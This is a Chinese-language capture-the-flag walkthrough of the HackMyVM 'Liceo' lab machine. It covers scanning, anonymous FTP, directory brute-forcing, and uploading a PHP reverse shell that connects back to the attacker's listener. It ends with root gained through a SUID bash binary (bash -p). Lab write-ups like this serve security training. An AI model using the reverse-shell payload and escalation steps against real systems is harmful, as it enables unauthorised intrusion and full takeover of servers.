HakcMyVM-Liceo
Liceo
信息搜集
主机发现
┌──(kali㉿kali)-[~] └─$ nmap -sn 192.168.2.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 09:57 EDT Nmap scan report for liceoserver (192.168.2.2) Host is up (0.00031s latency). MAC Address: 08:00:27:69:22:0B (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap scan report for kali (192.168.2.15) Host is up. Nmap done: 256 IP addresses (6 hosts up) scanned in 4.95 seconds端口扫描
┌──(kali㉿kali)-[~] └─$ nmap -sV -p- 192.168.2.2 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 09:58 EDT Nmap scan report for liceoserver (192.168.2.2) Host is up (0.00055s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) MAC Address: 08:00:27:69:22:0B (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds漏洞利用
看一下21端口有什么
┌──(kali㉿kali)-[~] └─$ ftp 192.168.2.2 Connected to 192.168.2.2. 220 (vsFTPd 3.0.5) Name (192.168.2.2:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||33942|) 150 Here comes the directory listing. -rw-rw-r-- 1 1000 1000 191 Feb 01 2024 note.txt 226 Directory send OK. ftp> get note.txt local: note.txt remote: note.txt 229 Entering Extended Passive Mode (|||22377|) 150 Opening BINARY mode data connection for note.txt (191 bytes). 100% |************************| 191 463.98 KiB/s 00:00 ETA 226 Transfer complete. 191 bytes received in 00:00 (249.69 KiB/s) ┌──(kali㉿kali)-[~] └─$ cat note.txt Hi Matias, I have left on the web the continuations of today's work, would you mind contiuing in your turn and make sure that the web will be secure? Above all, we dont't want intruders...得到一个用户名Matias，目录枚举一下
┌──(kali㉿kali)-[~] └─$ gobuster dir -w SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x html,php,txt,jpg,png,zip,git -u http://192.168.2.2 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.2 [+] Method: GET [+] Threads: 10 [+] Wordlist: SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: png,zip,git,html,php,txt,jpg [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.php (Status: 403) [Size: 276] /images (Status: 301) [Size: 311] [--> http://192.168.2.2/images/] /index.html (Status: 200) [Size: 21487] /.html (Status: 403) [Size: 276] /uploads (Status: 301) [Size: 312] [--> http://192.168.2.2/uploads/] /upload.php (Status: 200) [Size: 371] /css (Status: 301) [Size: 308] [--> http://192.168.2.2/css/] /js (Status: 301) [Size: 307] [--> http://192.168.2.2/js/] /.php (Status: 403) [Size: 276] /.html (Status: 403) [Size: 276] /server-status (Status: 403) [Size: 276] /logitech-quickcam_w0qqcatrefzc5qqfbdz1qqfclz3qqfposz95112qqfromzr14qqfrppz50qqfsclz1qqfsooz1qqfsopz1qqfssz0qqfstypez1qqftrtz1qqftrvz1qqftsz2qqnojsprzyqqpfidz0qqsaatcz1qqsacatzq2d1qqsacqyopzgeqqsacurz0qqsadisz200qqsaslopz1qqsofocuszbsqqsorefinesearchz1.html (Status: 403) [Size: 276] Progress: 9482032 / 9482040 (100.00%) =============================================================== Finished ===============================================================发现了/upload.php页面，和/uploads/目录，看一下/upload.php页面
可以上传文件，尝试上传一个反弹shell
<?php $sock=fsockopen("192.168.2.15",1234);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>访问一下http://192.168.2.2/uploads/shell.phtml
┌──(kali㉿kali)-[~] └─$ nc -lvnp 1234 listening on [any] 1234 ... connect to [192.168.2.15] from (UNKNOWN) [192.168.2.2] 42188 id uid=33(www-data) gid=33(www-data) groups=33(www-data)权限提升
bash-5.1$ ls -la ls -la total 16 drwxr-xr-x 2 www-data www-data 4096 Apr 18 14:40 . drwxr-xr-x 7 root root 4096 Feb 10 2024 .. -rw-r--r-- 1 www-data www-data 38 Apr 18 14:35 shell..phtml -rw-r--r-- 1 www-data www-data 113 Apr 18 14:40 shell.phtml bash-5.1$ cd .. cd .. bash-5.1$ ls -la ls -la total 592 drwxr-xr-x 7 root root 4096 Feb 10 2024 . drwxr-xr-x 3 root root 4096 Feb 10 2024 .. drwxr-xr-x 2 www-data www-data 4096 Sep 16 2020 css drwxr-xr-x 2 www-data www-data 4096 Sep 16 2020 images -rw-r--r-- 1 www-data www-data 21487 Feb 10 2024 index.html drwxr-xr-x 2 www-data www-data 4096 Sep 16 2020 js -rw-r--r-- 1 www-data www-data 547090 Feb 4 2024 liceoweb.zip drwxr-xr-x 2 www-data www-data 4096 Feb 3 2024 spering-html -rw-r--r-- 1 www-data www-data 1501 Feb 10 2024 upload.php drwxr-xr-x 2 www-data www-data 4096 Apr 18 14:40 uploads bash-5.1$ cd .. cd .. bash-5.1$ ls -la ls -la total 16 drwxr-xr-x 3 root root 4096 Feb 10 2024 . drwxr-xr-x 14 root root 4096 Feb 1 2024 .. -rw------- 1 root root 73 Feb 11 2024 .bash_history drwxr-xr-x 7 root root 4096 Feb 10 2024 html bash-5.1$ sudo -l sudo -l [sudo] password for www-data: Sorry, try again. [sudo] password for www-data: Sorry, try again. [sudo] password for www-data: sudo: 3 incorrect password attempts //查找SUID文件 bash-5.1$ find / -perm -4000 -type f 2>/dev/null find / -perm -4000 -type f 2>/dev/null /snap/snapd/20671/usr/lib/snapd/snap-confine /snap/snapd/19457/usr/lib/snapd/snap-confine /snap/core20/2105/usr/bin/chfn /snap/core20/2105/usr/bin/chsh /snap/core20/2105/usr/bin/gpasswd /snap/core20/2105/usr/bin/mount /snap/core20/2105/usr/bin/newgrp /snap/core20/2105/usr/bin/passwd /snap/core20/2105/usr/bin/su /snap/core20/2105/usr/bin/sudo /snap/core20/2105/usr/bin/umount /snap/core20/2105/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core20/2105/usr/lib/openssh/ssh-keysign /snap/core20/1974/usr/bin/chfn /snap/core20/1974/usr/bin/chsh /snap/core20/1974/usr/bin/gpasswd /snap/core20/1974/usr/bin/mount /snap/core20/1974/usr/bin/newgrp /snap/core20/1974/usr/bin/passwd /snap/core20/1974/usr/bin/su /snap/core20/1974/usr/bin/sudo /snap/core20/1974/usr/bin/umount /snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core20/1974/usr/lib/openssh/ssh-keysign /usr/lib/snapd/snap-confine /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/passwd /usr/bin/pkexec /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/su /usr/bin/chsh /usr/bin/chfn /usr/bin/mount /usr/bin/umount /usr/bin/sudo /usr/bin/bash /usr/bin/fusermount3 /usr/libexec/polkit-agent-helper-1 //使用-p参数，-p会阻止bash降权，使进程保留SUID赋予的EUID。 bash-5.1$ /usr/bin/bash -p /usr/bin/bash -p bash-5.1# id id uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)